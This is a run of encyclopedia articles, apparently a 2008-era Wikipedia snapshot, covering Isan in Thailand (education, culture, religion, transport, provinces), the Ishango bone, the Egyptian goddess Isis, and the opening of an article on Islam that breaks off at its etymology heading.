          Education is well provided by the government in terms of numbers of establishments and is supplemented in the larger cities by the private sector (mostly Catholic schools and international schools). Following the national pattern of education in Thailand, there are primary (elementary) schools in all larger villages and communes ( tambon) capitals, with secondary (high) schools to Grade 12 (approximately age 18) in the district ( amphoe) towns. Many other secondary schools provide education only to Grade 9, while some combined school provide education from Grade 1 through Grade 9. Rural schools are generally less well equipped than the schools in the large towns and cities and the standard of instruction, particularly for the English language, is much lower. Many children of poorer families leave school after Grade 6 (age 12) to work on the farms. A number move to areas of dense or tourist populations to work in the service industry. Many primary schools also operate their own websites and almost all schoolchildren in Isaan, at least from junior high school age, are now (2008) largely computer literate for basic programmes: they are well adept in the use of word-processing, layout of flyers, brochures and birthday cards, and simple, digital photo enhancement software.


          There are 43 (2001) government vocational and polytechnic colleges throughout the region, several specialised training colleges in the private sector, and large colleges of Agriculture and Nursing in Udon Thani province.


          Universities are located in the major cities of Khon Kaen (one of the country's largest), Ubon Ratchathani, and the smaller provincial capital of Mahasarakham. Some Bangkok based universities have a small campus in Isan, and Khon Kaen university also maintains a large installation on the outskirts of Nong Khai. For a full list of universities in Isan see the list of universities in Thailand. Most provinces have a government Rajabhat University, formerly Rajabhat Institute, traditionally a Teacher Training College.


          
            
              	^ http://school.obec.go.th/sadao/topnews/webboard.php?page=2 Ban Sadaeo Primary School website


              	^ http://www.thai-school.net/nondinjeschool| Nondinje School website, Chayaphum

            

          


          


          Culture


          Isan's culture is predominantly Lao, and has much in common with that of the neighbouring country of Laos. This affinity is shown in the region's cuisine, dress, temple architecture, festivals and arts.


          Isan food is distinct from Thai and Lao cuisines, but has elements in common with each. The most obvious characteristics are the use of sticky rice that accompanies almost every meal rather than plain rice, as well as fiery chillies. Popular dishes include tam mak hung, or in central Thai, som tam ( papaya salad), larb (meat salad) and gai yang ( grilled chicken). These have all spread to other parts of Thailand, but normally in versions which temper the extreme heat and sourness favoured in Isan for the more moderate Central Thai palate.
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          Conversely Central Thai food has become popular in Isan, but the French and Vietnamese influences which have affected Lao cuisine are absent. The people of the region famously eat a wide variety of creatures, such as lizards, frogs and fried insects such as grasshoppers, crickets, silkworms and dung beetles. Originally forced by poverty to be creative in finding foods, Isan people now savour these animals as delicacies or snacks. Food is commonly eaten by hand using the sticky rice pressed into a ball with the fingers as a tool. Soups are a frequent element of any meal and contain either vegetables and herbs, noodles, chunks of fish, balls of ground pork or a mixture of these. They are eaten using a spoon and chopsticks at the same time.


          The traditional dress of Isan is the sarong. Women's sarongs most often have an embroidered border at the hem, while men's are in a chequered pattern. They are worn "straight", not hitched between the legs in Central Thai style. Men also wear a pakama  a versatile length of cloth which can be used as a belt, a money and document belt, as headwear for protection from the sun, as a hammock or as a bathing garment. Isan is the main centre for the production of Thai silk. The trade received a major boost in the post-war years, when Jim Thompson popularised Thai silk among westerners. One of the best-known types of Isan silk is mut-mee, which is tie- dyed to produce geometric patterns on the thread.


          The Buddhist temple (or wat) is the major feature of most villages. These temples are used not only for religious ceremonies, but also for festivals, particularly mor lam, and as assembly halls.


          They are mostly built in the Lao style, with less ornamentation than in Central Thailand. Lao style Buddha images are also prevalent.
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          The people of Isan celebrate many traditional festivals, such as the Bun Bungfai Rocket Festival. This fertility rite, originating in pre-Buddhist times, is celebrated in a number of locations both in Isan and in Laos, but most vigorously and most famously in Yasothon province. Other Isan festivals are the Candle Festival, which marks the start of vassa in July in Ubon and other locations; the Silk Festival in Khon Kaen, which promotes local handicrafts; the Elephant Round-up in Surin; and the bangfai phayanak or Naga fireballs of Nong Khai.


          The main indigenous music of Isan is mor lam; it exists in a number of regional variants, plus modern forms. Since the late 1970s it has acquired greater exposure outside the region thanks to the presence of migrant workers in Bangkok. Many mor lam singers also sing Central Thai luk thung music, and have produced the hybrid luk thung Isan form. Another form of folk music, kantrum, is popular with the Khmer minority in the south. Although there is no tradition of written secular literature in the Isan language, in the latter half of the 20th century the region produced several notable writers, such as Khamsing Srinawk (who writes in Thai) and Pira Sudham (who writes in English).

          Mor lam needs a special mention as its festival-type production which is very commonplace in Isan, has not been exported to other regions. Although it is a very exciting affair, not being on the tourist trail it is largely ignored by foreign visitors. When the locals speak of mor lam (pronounced mor'ram with stress on the second syllable), one will often hear them say pai doo morram (lit. 'go see mor'ram'). They are referring to the most common form of evening entertainment in the region. Somewhere, in a village within easy reach, there will be a mor lam festival on a Friday or Saturday evening. Usually, the rock-festival sized stage is constructed either in a temple compound or on a sports field. Thousands of people will sit on mats on the ground and watch the fun-filled program of variety entertainment. The traditional music and song is accompanied by extremely colorful choreography, executed by a group of up to fifty female (and some male katoey) dancers. The fantastic costumes are changed several times throughout the program, and the transitions are bridged by often raunchy gags, slap-stick comedy, and speeches by local dignitaries. A mor lam festival is a family affair and the area is surrounded by food and drink stalls. At home, people will often forgo on the evening's TV selection to watch CD, VCD and DVD recordings of mor lam festivals. Every family owns a CD/DVD player and a large screen TV, and the media, with Thai content, can be purchased very cheaply.


          Isan is known for producing a large number of muay Thai boxers: as with Western boxing, kickboxing provides a rare opportunity to escape from poverty. Isan's most famous sportsman, however, is tennis player Paradorn Srichaphan, whose family are from Khon Kaen.


          Marriage and courtship in Isan still mainly follows strict tradition, especially in rural areas, and most young women are married by the time they are 20 years old. Many girls, in spite of the legal requirement, marry as young as fourteen to escape poverty as usually marriage is associated with a dowry paid by the husband to the bride's family. A dowry will not normally be less than 40,000 Thai baht, and according to the status of the bride and/or her family, can often greatly exceed 300,000 baht. Isan women rarely have boyfriends until they meet the man whom they will eventually marry, and tradition requires that the betrothal is then announced. Younger fiances will be chaperoned, usually by a female friend, brother or sister while in the company of their future husband. The wedding ceremony usually takes place in the bride's home and is normally officiated by one or several monks or a respected village elder who has been a monk. Young couples are increasingly registering their marriages at the city hall which they can do if they are over 17. The extended family system is still very much the traditional social structure in Isan, with newly wed couples often living with in-laws or building a home on the family compound or farmland. It is not unusual however, for many women to remain single until much later. Tradition demands that the youngest or only daughter continues to live at home to take care of her parents. They are then only free to marry when both parents are deceased. There is also the tradition that a woman should 'marry up' in status. If the woman is tied to an occupation in a rural area as a farm or business owner, teacher, or similar profession, finding a suitable husband and one who is prepared to relocate is often not easy.


          Water buffalo are a regular feature, even in the suburbs, being walked to and from the fields at dawn and dusk. Although rarely used nowadays for working the land, they are considered an important status symbol. The current value (2006) of one head of buffalo is about 20,000 Thai baht (2006: USD 530).


          The cultural separation from Central Thailand, combined with the region's poverty and the typically dark skin of its people, has encouraged a considerable amount of discrimination against the people of Isan from non-ethnic Thais of Chinese descent. Even though many Isan people now work in the cities rather than in the fields, many hold lower-status jobs such as construction workers and stall vendors and tuk-tuk taxi drivers, and discriminatory attitudes have been known persist with many Thai-Chinese inhabitants. Nevertheless, Isan food and music have both been enthusiastically adopted and adapted to the tastes of the rest of the country.


          The process of Thaification has diluted somewhat the distinctive character of Isan culture, particularly in the cities and in provinces, such as Khorat, which are closest to the Central Thai heartlands and which have been under Thai rule the longest.


          


          Religion
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          As in the rest of Thailand, the population is almost exclusively Theravada Buddhist, although this is combined with elements of animism. The large cities have Christian churches, sometimes of several denominations. Many major district towns do however have a small Christian church or chapel, usually Roman Catholic, and there are others in rural areas serving pockets of this religion.


          


          Transportation


          The State Railway of Thailand has two lines in Isan, both connecting the region to Bangkok. One runs east from Khorat, through Surin to Ubon; the other runs north through Khon Kaen and Udon to Nong Khai.


          There are 15,000km of highway, centred on the Thanon Mitraphap ("Friendship Highway") built by the United States to supply its military bases in the 1960s and 1970s. A road bridge (the Saphan Mitraphap or Friendship Bridge) jointly built by the Australian, Laos and Thai governments forms the border crossing over the Mekong River on the outskirts of Nong Khai to Vientiane, the capital of Laos, about 25km away.


          Most roads in Isan are paved. All major roads interconnecting the province capitals are in excellent condition for driving and most are centrally divided four or six-lane highways. Many roads connecting province capitals to larger district towns are also currently (2008) being widened to four lane highways with median strip. The paving on some very minor roads in the poorer districts may be navigable with difficulty due to large, deep potholes. Unpaved, graded roads link some of the smaller, remoter villages but they are comfortably navigable at normal driving speeds for wheeled vehicles. Most of the stretches of paved roads through villages are lit at night, many with powerful sodium lighting some of which are on independently solar-powered masts. Reflecting 'cats-eyes' marking the central line of two-lane roads are a common feature. Crash barriers are installed along the sides of dangerous bends and precipitous verges. Signposting is excellent and follows international style. Since 2002 (with the exception of some poorer sub-districts) all signs are bilingual in Thai and Roman script, although the spellings in Roman script may defy the logic of English pronunciation, and vary significantly.


          The main highways have frequent, Western-style rest and refuelling stations which accept payment by major credit/debit cards. In 2006, all fuel stations sell 91 and 95 octane gasoline/petrol and diesel fuel, but LPG (Liquid Petroleum Gas) and NGV (Natural Gas for Vehicles) is very rare outside the cities of Nakhon Ratchasima, Khon Kaen and Udon Thani.


          Buses provide the mass transport throughout the region. All province cities are connected to Bangkok by daily and nightly, direct, air-conditioned bus routes. All district amphoe towns operate at least one similar nightly route to and from Bangkok. All towns and villages are interconnected with frequent services of songthaew ( Thai: สองแถว, lit. 'two rows') a covered truck-style bus or covered pick-up trucks with bench seats in the cargo bed.
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          Taxi transport is not well developed, even in the very large cities where samlor ( Thai: สามล้อ, lit. "three wheels"), three-wheeled motorcycle taxis similar to the Bangkok tuk-tuk, provide the mainstay of urban transport. The large cities do have some pick-up trucks operating on regular inner-city and suburban routes. Airports are served by collective vans which tend to be expensive for the local population and samlors for private hire.


          There are airports at Khorat (no scheduled services due to its proximity to Bangkok), Khon Kaen (international), Ubon Ratchathani (domestic), Udon Thani (international), Nakhon Phanom (domestic, scheduled services), Sakon Nakhon (domestic, scheduled services), Roi Et (domestic, scheduled services) and Buriram (domestic, scheduled services). Domestic air travel between the capital and the region is well developed, particularly since 2002, and has become a viable alternative to rail, long-distance bus and self-driving. Fares are cheap and Udon and Khon Kaen which both opened brand new airport terminals in 2005 and 2006 respectively, are served by many daily flights and also have routes connecting other major destinations in Thailand with some companies operating wide-bodied aircraft. All domestic flights to and from Bangkok are currently (2008) operated out of Don Muang, the original Bangkok international airport.


          There is little traffic using the Mekong, as rapids and variable flow make navigation difficult. Bridges are rare because of the high cost of spanning this very wide river, but there are a great many passenger and vehicle ferries. The Second ThaiLao Friendship Bridge spanning the Mekong between the cities of Mukdahan (Thailand) and Savannakhet (Laos) was completed and officially opened for traffic on December 20, 2006. Some new bridges which still do not feature on '2005 Edition' maps have been built over smaller rivers and dams. There are also passenger and vehicle ferries operating across some large reservoirs.


          


          Administration


          Isan is divided into 19 provinces, although the southwestern province of Nakhon Ratchasima is considered by some to be more closely connected with Central Thailand.
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            	Amnat Charoen


            	Buriram


            	Chaiyaphum


            	Kalasin


            	Khon Kaen


            	Loei


            	Maha Sarakham


            	Mukdahan


            	Nakhon Phanom


            	Nakhon Ratchasima


            	Nongbua Lamphu


            	Nong Khai


            	Roi Et


            	Sakon Nakhon


            	Sisaket


            	Surin


            	Ubon Ratchathani


            	Udon Thani


            	Yasothon

          


          Isan returns 136 of the national parliament's 400 constituency MPs. In the 2005 election the Thai Rak Thai party took 126 of these seats, with six for Chart Thai and two each for the Democrat party and Mahachon Party .
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          The Ishango bone is a bone tool, dated to the Upper Paleolithic era, about 18000 to 20000 BC. It is a dark brown length of bone, the fibula of a baboon, with a sharp piece of quartz affixed to one end, perhaps for engraving or writing. It was first thought to be a tally stick, as it has a series of tally marks carved in three columns running the length of the tool, but some scientists have suggested that the groupings of notches indicate a mathematical understanding that goes beyond counting.


          The Ishango bone was found in 1960 by Belgian Jean de Heinzelin de Braucourt while exploring what was then the Belgian Congo. It was discovered in the African area of Ishango, which was centered near the headwaters of the Nile River at Lake Edward (now on the border between modern-day Uganda and Congo). The lakeside Ishango population of 20000 years ago may have been one of the first counting societies, but it lasted only a few hundred years before being buried by a volcanic eruption.


          The artifact was first estimated to originate between 9000 BC and 6500 BC. However, the dating of the site where it was discovered was re-evaluated, and is now believed to be more than 20,000 years old.


          The Ishango bone is on permanent exhibition at the Royal Belgian Institute of Natural Sciences, Brussels, Belgium.


          


          Meaning of the tally marks


          


          Mathematical calculations?
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          The three columns of asymmetrically grouped notches imply that the implement was more functional than decorative. The Ishango grouping may have been used to construct a numeral system.


          The central column begins with three notches, and then doubles to 6 notches. The process is repeated for the number 4, which doubles to 8 notches, and then reversed for the number 10, which is halved to 5 notches. These numbers then, may not be purely random and instead suggest some understanding of the principle of multiplication and division by two. The bone may therefore have been used as a counting tool for simple mathematical procedures.


          Furthermore, the number of notches on either side of the central column may indicate more counting prowess. The numbers on both the left and right column are all odd numbers (9, 11, 13, 17, 19 and 21). The numbers in the left column are all of the prime numbers between 10 and 20 (which form a prime quadruplet), while those in the right column consist of 10+1, 101, 20+1 and 201. The numbers on each side column add up to 60, with the numbers in the central column adding up to 48. Both of these numbers are multiples of 12, again suggesting an understanding of multiplication and division.


          


          Lunar calendar?


          Alexander Marshack examined the Ishango bone microscopically, and concluded that it may represent a six-month lunar calendar. Claudia Zaslavsky has suggested that this may indicate that the creator of the tool was a woman, tracking the lunar phase in relation to the menstrual cycle.


          


          Similar finds


          Several tally sticks predate the Ishango bone, and cuts on sticks or bones have been found worldwide. The Lebombo bone, a 37000-year-old baboon fibula was found in Swaziland. A 32000-year-old wolf tibia with 57 notches, grouped in fives, was found in Czechoslovakia in 1937.
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          Isis is a goddess in Ancient Egyptian mythology and is celebrated as the ideal mother and wife, patron of nature and magic; friend of slaves, sinners, artisans, the downtrodden, as well as listening to the prayers of the wealthy, the maiden, the aristocrat and emperor. In union with her husband and brother Osiris she conceived Horus. Isis was instrumental in the resurrection of Osiris when he was murdered by Seth. The goddess Isis was the first daughter of Geb, god of the Earth, and Nut, the goddess of the Overarching Sky, and was born on the fourth intercalary day, correspondence having been made in the modern calendar with July the 17th.


          She is also known as the goddess of simplicity, from whom all Beginnings arose, and as the Lady of bread, of beer and of green fields. Ancient Egyptians believed that the Nile flooded every year because of her tears of sorrow for her dead husband, Osiris.


          


          Etymology
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          The English pronunciation used for this deity, /ˈaɪ.sɪs/, is an Anglicized pronunciation of the Greek name, Ί, which itself changed the original Egyptian name by the addition of a final "-s" because of the grammatical requirements of Greek noun endings. The Egyptian name was recorded as ỉs.t or ȝs.t and meant "(She of the) Throne." However, the true Egyptian pronunciation remains uncertain because their writing system did not always feature vowels. Based on recent studies which present us with approximations based on contemporary languages and Coptic evidence, the reconstructed pronunciation of her name is *ʔŪsat (ooh-saht). Later, the name survived into Coptic dialects as "Ēse" or "Ēsi," as well as in compound words surviving in names of later people like " Har-si-Ese," literally "Horus, son of Isis."


          Her name literally means "queen of the throne." Her original headdress was an empty throne chair belonging to her murdered husband, Osiris. As the personification of the throne, she was an important source of the Pharaoh's power. Her cult was popular throughout Egypt, but the most important sanctuaries were at Giza and at Behbeit El-Hagar in the Nile delta.


          For convenience and arbitrarily, Egyptologists choose to pronounce the word as "ee-set." Sometimes they may also say "ee-sa" because the final "t" in her name was a feminine suffix, which is known to have been dropped in speech during the last stages of the Egyptian language.


          


          Origins
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          Her origins are uncertain but are believed to have come from the Nile Delta; however, unlike other Egyptian deities, she did not have a centralized cult at any point throughout her worship. First mentions of Isis date back to the Fifth dynasty of Egypt which is when the first literary inscriptions are found, but her cult became prominent late in Egyptian history, when it began to absorb the cults of many other goddesses. It eventually spread outside Egypt.


          During the formative centuries of Christianity, the religion of Isis was drawing converts from every corner of the Roman Empire. In Italy itself, the Egyptian faith was a dominant force. At Pompeii, archaeological evidence reveals that Isis played a major role. In Rome, temples were built and obelisks erected in her honour. In Greece, traditional centres of worship in Delos, Delphi and Eleusis were taken over by followers of Isis, and this practice followed suit in northern Greece and in Athens. Harbours of Isis were to be found on the Arabian Sea and the Black Sea. Inscriptions show followers in Gaul and Spain, in Pannonia and Germany, in Arabia and Asia Minor, Portugal, Ireland, and many shrines in Britain.


          


          Temples
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          Most Egyptian deities started as strictly local, and throughout their history retained local centres of worship, with most major cities and towns widely known as the hometowns to their deities. Isis was originally an independent and popular deity established in pre-dynastic times at Sebennytos in the northern delta.


          Eventually temples to Isis began to spread outside of Egypt. In many locations, particularly Byblos, her cult took over that of worship to the Semitic goddess Astarte, apparently due to the similarity of names and associations. During the Hellenic era, due to her attributes as a protector, and mother, and the lusty aspect originally from Hathor, she was also made the patron goddess of sailors.


          Likewise, the Arabian goddess Al-Ozza or Al-Uzza العُزّى (al ȝozza), whose name is close to that of Isis, is believed to be a manifestation of her. This however is based on similarity in the name.


          Throughout the Graeco-Roman world, Isis became one of the most significant of the mystery religions, and many classical writers refer to her temples, cults and rites. Temples to Isis were built in Iraq, Greece, Rome, Pompeii. At Philae her worship persisted until the sixth century, long after the rise of Christianity and the suppression of paganism. Philae was the last of the ancient Egyptian temples to be closed.
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          Priesthood


          Little information on Egyptian priests of Isis survives; however, it is clear there were both priests and priestesses of her cult throughout her history. By the Graeco-Roman era, many of them were healers, and were said to have many other special powers, including dream interpretation and the ability to control the weather by braiding or combing their hair, the latter of which was believed because the Egyptians considered knots to have magical powers.
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          Because of the association between knots and magical power, a symbol of Isis was the tiet/ tyet (meaning welfare/life), also called the Knot of Isis, Buckle of Isis, or the Blood of Isis. The tiet in many respects resembles an ankh, except that its arms curve down, and in all these cases seems to represent the idea of eternal life/ resurrection. The meaning of Blood of Isis is more obscured, but the tyet was often used as a funerary amulet made of red wood, stone, or glass, so this may have simply been a description of its appearance.


          The star Spica (sometimes called Lute Bearer), and the constellation which roughly corresponded to the modern Virgo, appeared at a time of year associated with the harvest of wheat and grain, and thus with fertility gods and goddesses. Consequently they were associated with Hathor, and hence with Isis through her later conflation with Hathor. Isis also assimilated Sopdet, the personification of Sirius, since Sopdet, rising just before the flooding of the Nile, was seen as a bringer of fertility, and so had been identified with Hathor. Sopdet retained an element of distinct identity, however, as Sirius was quite visibly a star and not living in the underworld (Isis being the wife of Osiris who was king of the underworld).


          In the Roman period, probably due to assimilation with the goddesses Aphrodite and Venus, the rose was used in her worship. The demand for roses throughout the Empire turned rose growing into an important industry.


          


          Titles


          In the Book of the Dead Isis was described as:


          
            	She who gives birth to heaven and earth,


            	She who knows the orphan,


            	She who knows the widow spider,


            	She who seeks justice for the poor people,


            	She who seeks shelter for the weak people

          


          Some of Isis's many other titles were:


          
            	Queen of Heaven,


            	Mother of the Gods,


            	The One Who is All,


            	Lady of Green Crops,


            	The Brilliant One in the Sky,


            	Star of the Sea,


            	Great Lady of Magic,


            	Mistress of the House of Life,


            	She Who Knows How To Make Right Use of the Heart,


            	Light-Giver of Heaven,


            	Lady of the Words of Power,


            	Moon Shining Over the Sea.

          


          


          Depictions


          In art, originally Isis was pictured as a woman wearing a long sheath dress and crowned with the hieroglyphic sign for a throne, sometimes holding a lotus, as a Sycamore tree. After her assimilation of Hathor, Isis's headdress is replaced with that of Hathor: the horns of a cow on her head, and the solar disc between them. She was also sometimes symbolised by a cow, or a cow's head. Usually, she was depicted with her young son, the great god Horus, with a crown and a vulture, and sometimes as a kite flying above Osiris's body or with the dead Osiris across her lap.


          Isis is most often seen holding only the generic ankh sign and a simple staff, but is sometimes seen with Hathor's attributes, the sacred sistrum rattle and the fertility bearing menat necklace. In The Book of Coming Forth By Day Isis is depicted standing on the prow of the Solar Bark with arms outstretched.


          The star Sept (Sirius) depicts Isis, which is the star of the new year. The appearance of the star signified the advent of a new year and so Isis was considered the goddess of rebirth and reincarnation and as a protector of the dead. The Book of the Dead outlines a particular ritual that would protect the dead so that he can go anywhere in the under world. Most of the names Isis holds signify her as the goddess of protection of the dead.


          


          Isis in literature


          Isis is the most important goddess in Egyptian mythology who transferred from a local goddess in the Nile Delta to a cosmic goddess all over the ancient world. The name Isis is still a beloved name among modern Coptic Egyptians, and in Europe the name (Isadora) i.e. Gift of Isis is still common.


          Plutarch's Isis and Osiris is considered a main source in which he writes of Isis: "she is both wise, and a lover of wisdom; as her name appears to denote that, more than any other, knowing and knowledge belong to her." and that the shrine of Isis in Sais carried the inscription "I am all that hath been, and is, and shall be; and my veil no mortal has hitherto raised."In The Golden Ass the Roman writer Apuleius' gives us an understanding of Isis in the second century. The following paragraph is particularly significant:


          
            
              	

              	You see me here, Lucius, in answer to your prayer. I am nature, the universal Mother, mistress of all the elements, primordial child of time, sovereign of all things spiritual, queen of the dead, queen also of the immortals, the single manifestation of all gods and goddesses that are, my nod governs the shining heights of Heavens, the wholesome sea breezes. Though I am worshipped in many aspects, known by countless names ... some know me as Juno, some as Bellona ... the Egyptians who excel in ancient learning and worship call me by my true name...Queen Isis.
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          As the deification of the wife of the Pharaoh, the first prominent role of Isis was as the assistant to the deceased king. Thus she gained a funerary association, her name appearing over 80 times in the Pyramid Texts, and was said to be the mother of the four gods who protected the canopic jars - more specifically, Isis was viewed as protector of the liver-jar-god Imsety. This association with the Pharaoh's wife also brought the idea that Isis was considered the spouse of Horus, who was protector, and later the deification, of the Pharaoh himself. By the Middle Kingdom, as the funeral texts spread to be used by non-royals, her role also grows to protect the nobles and even the commoners.


          By the New Kingdom, Isis gains prominence as the mother / protector of the Pharaoh. She is said to breastfeed the Pharaoh with her milk, and is often depicted visually as such. The role of her name and her throne-crown is uncertain. Some Egyptologists believe that being the throne-mother was Isis's original function, however a more modern view states that aspects of the role came later by association. In many African tribes, the king's throne is known as the mother of the king, and that fits well with either theory, giving us more insight into the thinking of ancient Egyptians.


          


          Sister-wife to Osiris


          In another area of Egypt, Isis became one of the Ennead of Heliopolis, as a daughter of Nut and Geb, and sister to Osiris, Nephthys, and Seth. As a funerary deity, she was associated with Osiris, god of the underworld ( Duat), and thus was considered his wife. The two females - Isis and Nephthys - were often depicted on coffins, with wings outstretched, as protectors against evil.


          A later legend (ultimately a result of the replacement of another god of the underworld when the cult of Osiris gained more authority), tells of the birth of Anubis. The tale describes how Nephthys became sexually frustrated with Set and disguised herself as the much more attractive Isis to try to seduce him. The plot failed, but Osiris now found Nephthys very attractive, as he thought she was Isis. They coupled, resulting in the birth of Anubis. In fear of Set's anger, Nephthys persuaded Isis to adopt Anubis, so that Set would not find out. The tale describes both why Anubis is seen as an underworld deity (he is a son of Osiris), and why he could not inherit Osiris's position (he was not a legitimate heir), neatly preserving Osiris's position as lord of the underworld. However, it should be remembered that this story was only a later creation of the Osirian cult who wanted to depict Set in an evil position, as the enemy of Osiris.
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          In another myth, Set had a banquet for Osiris in which he brought in a beautiful box and said that whoever could fit in the box perfectly would get to keep it. Set had measured Osiris in his sleep so that he was the only person that could fit in the box. Once it was Osiris's turn to see if he could fit in the box, Set closed the lid on him so that the box was now a coffin for Osiris. Set flung the box in the Nile so that it would float far away; Isis went looking for the box so that Osiris could have a proper burial. She found the box in a tree in Byblos, and brought it back to Egypt, hiding it in a swamp. Set went hunting that night and found the box. To make it so Isis could never find Osiris again, Set chopped Osiris's body into fourteen pieces and scattered them all over Egypt. Isis and her sister Nephthys went looking for his pieces, but could only find thirteen of the fourteen. Fish had swallowed the last piece, his penis, so Isis fashioned one out of gold. Isis used her magic to put Osiris's body back together and managed to bring him back to life, in which they conceived Horus.


          


          Assimilation of Hathor


          Beliefs about Ra himself had been hovering around the identification of Ra, a sun god, with Horus, another sun god (as the compound Ra-Herakhty), and so for some time, Isis had intermittently been considered the wife of Ra, since she was the mother of Horus. Consequently, since there was not anything logically troubling by identifying Isis as Ra's wife, Hathor unlike identifying Ra as her own son, she and Hathor became considered the same deity, Isis-Hathor. Sometimes the alternative consideration arose, that Isis, in the Ennead, was a child of Atum-Ra, and so should have been a child of Ra's wife, Hathor, although this was less favoured as Isis had enough in common with Hathor to be considered one and the same.


          


          Mother of Horus
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          It was this merger with Hathor that proved to be the most significant event in the history of Egyptian mythology. By merging with Hathor, Isis became the mother of Horus, rather than his wife, and thus, when beliefs of Ra absorbed Atum into Atum-Ra, it also had to be taken into account that Isis was one of the Ennead, as the wife of Osiris. However, it had to be explained how Osiris, who (as god of the dead) was dead, could be considered a father to Horus, who was not considered dead. This led to the evolution of the idea that Osiris needed to be resurrected, and so to the Legend of Osiris and Isis, of which Plutarch's De Iside et Osiride contains the most extensive account known today, a myth so significant that it is the most famous of all Egyptian myths.
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          Yet another set of myths detail the adventures of Isis after the birth of Osiris's posthumous son, Horus. Many dangers faced Horus after birth, and Isis fled with the newborn to escape the wrath of Set, the murderer of her husband. In one instance, Isis heals Horus from a lethal scorpion sting; she also performs other miracles in relation to the so-called cippi, or the plaques of Horus. Isis protected and raised Horus until he was old enough to face Set, and subsequently became the king of Egypt.


          


          Magic


          In order to resurrect Osiris for the purpose of having the child Horus, it was necessary for Isis to learn magic, and so it was that Isis tricked Ra (i.e. Amun-Ra/Atum-Ra) into telling her his "secret name," by causing a snake to bite him, to which Isis had the only cure, so that he would use his "secret name" to survive. This aspect becomes central in magic spells, and Isis is often implored to use the true name of Ra while performing rituals. By the late Egyptian history, Isis becomes the most important and most powerful magical deity of the Egyptian pantheon. Magic is central to the entire mythology of Isis, arguably more so than any other Egyptian deity.


          In consequence of her deeply magical nature, Isis also became a goddess of magic (though Thoth was always the leading god of magic). The prior goddess to hold the quadruple roles of healer, protector of the canopic jars, protector of marriage, and goddess of magic, Serket, became considered an aspect of her. Thus it is not surprising that Isis had a central role in Egyptian magic spells and ritual, especially those of protection and healing. In many spells, she is also completely merged even with Horus, where invocations of Isis are supposed to automatically involve Horus's powers as well.


          


          Assimilation of Mut


          After the authority of Thebes had risen, and made Amun into a much more significant god, it later waned, and Amun was assimilated into Ra. In consequence, Amun's consort, Mut, the doting, infertile, and implicitly virginal mother, who by this point had absorbed other goddesses herself, was assimilated into Ra's wife, Isis-Hathor as Mut-Isis-Nekhbet. On occasion, Mut's infertility and implicit virginity was taken into consideration, and so Horus, who was too significant to ignore, had to be explained by saying that Isis became pregnant with magic when she transformed herself into a kite and flew over Osiris' dead body.


          Mut's husband was Amun, who had by this time become identified with Min as Amun-Min (also known by his epithet - Kamutef). Since Mut had become part of Isis, it was natural to try to make Amun, part of Osiris, the husband of Isis, but this was not easily reconcilable, because Amun-Min was a fertility god and Osiris was the god of the dead. Consequently they remained regarded separately, and Isis was sometimes said to be the lover of Min. Subsequently, as at this stage Amun-Min was considered an aspect of Ra (Amun-Ra), he was also considered an aspect of Horus, since Horus was identified as Ra, and thus Isis's son was on rare occasions said to be Min instead, which neatly avoided having confusion over Horus's status as was held at being the husband and son of Isis.


          


          Isis outside Egypt


          Following the conquest of Egypt by Alexander of Macedon the worship of Isis spread throughout the Graeco-Roman world. Tacitus writes that after Julius Caesar's assassination, a temple in honour of Isis had been decreed; Augustus suspended this, and tried to turn Romans back to the Roman gods who were closely associated with the state. Eventually the Roman emperor Caligula abandoned the Augustan wariness towards oriental cults, and it was in his reign that the Isiac festival was established in Rome. According to Josephus, Caligula himself donned female garb and took part in the mysteries he instituted, and Isis acquired in the Hellenistic age a "new rank as a leading goddess of the Mediterranean world." Vespasian along with Titus practised incubation in the Roman Iseum. Domitian built another Iseum along with a Serapeum. Trajan appears before Isis and Horus, presenting them with votive offerings of wine, in a bas-relief on his triumphal arch in Rome. Hadrian decorated his villa at Tibur with Isaic scenes. Galerius regarded Isis as his protectress.


          Roman perspectives on cult were syncretic, seeing in new deity merely local aspects of a familiar one. For many Romans, Egyptian Isis was an aspect of Phrygian Cybele, whose orgiastic rites were long naturalized at Rome, indeed, she was known as Isis of Ten Thousand Names. Among these names of Roman Isis, Queen of Heaven is outstanding for its long and continuous history. Herodotus identified Isis with the Greek and Roman goddesses of agriculture, Demeter and Ceres. In later years, Isis also had temples throughout Europe, Africa, and Asia.


          


          Parallels in Catholicism and Orthodoxy
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          Scholars have drawn comparisons with Isis worship in late Roman times and the cult of the Blessed Virgin Mary. For example, the historian Will Durant has claimed, "Early Christians sometimes worshiped before the statues of Isis suckling the infant Horus, seeing in them another form of the ancient and noble myth by which woman (i.e., the female principle), creating all things, becomes at last the Mother of God." Though the Virgin Mary is not worshiped (only venerated) in Catholicism and Orthodoxy, her role as a merciful mother figure has parallels with the figure of Isis.


          


          Worship of Isis in modern times


          Isis is worshiped in modern times, commonly within the context of neo-pagan spiritual movements. Organizations such as the Fellowship of Isis promote the spreading of Goddess worship and attract members from the wider Wiccan, Qabalah, Rosicrucianism, Celtic Mysteries, Zen, Sufi and Tao paths.


          
            Retrieved from " http://en.wikipedia.org/wiki/Isis"
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          Islam (Arabic: الإسلام; al-'islām; pronounced: [ɪs.ˈlːm]) is a monotheistic Abrahamic religion originating with the teachings of the Islamic prophet Muhammad, a seventh century Arab religious and political figure. The word Islam means "submission", or the total surrender of oneself to God (Arabic: الله, Allāh). An adherent of Islam is known as a Muslim, meaning "one who submits [to God]". There are between 1 billion to 1.8 billion Muslims, making Islam the second-largest religion in the world, after Christianity.


          Muslims believe that God revealed the Qur'an to Muhammad, God's final prophet, and regard the Qur'an and the Sunnah (words and deeds of Muhammad) as the fundamental sources of Islam. They do not regard Muhammad as the founder of a new religion, but as the restorer of the original monotheistic faith of Abraham, Moses, Jesus, and other prophets. Islamic tradition holds that Jews and Christians distorted the revelations God gave to these prophets by either altering the text, introducing a false interpretation, or both.


          Islam includes many religious practices. Adherents are generally required to observe the Five Pillars of Islam, which are five duties that unite Muslims into a community. In addition to the Five Pillars, Islamic law (sharia) has developed a tradition of rulings that touch on virtually all aspects of life and society. This tradition encompasses everything from practical matters like dietary laws and banking to warfare and welfare.


          Almost all Muslims belong to one of two major denominations, the Sunni (85%) and Shi'a (15%). The schism developed in the late 7th century following disagreements over the religious and political leadership of the Muslim community. Islam is the predominant religion in Africa and the Middle East, as well as in major parts of Asia. Large communities are also found in China, the Balkan Peninsula in Eastern Europe and Russia. There are also large Muslim immigrant communities in other parts of the world, such as Western Europe. About 20% of Muslims live in Arab countries, 30% in the Indian subcontinent and 15.6% in Indonesia, the largest Muslim country by population.


          


          Etymology and meaning


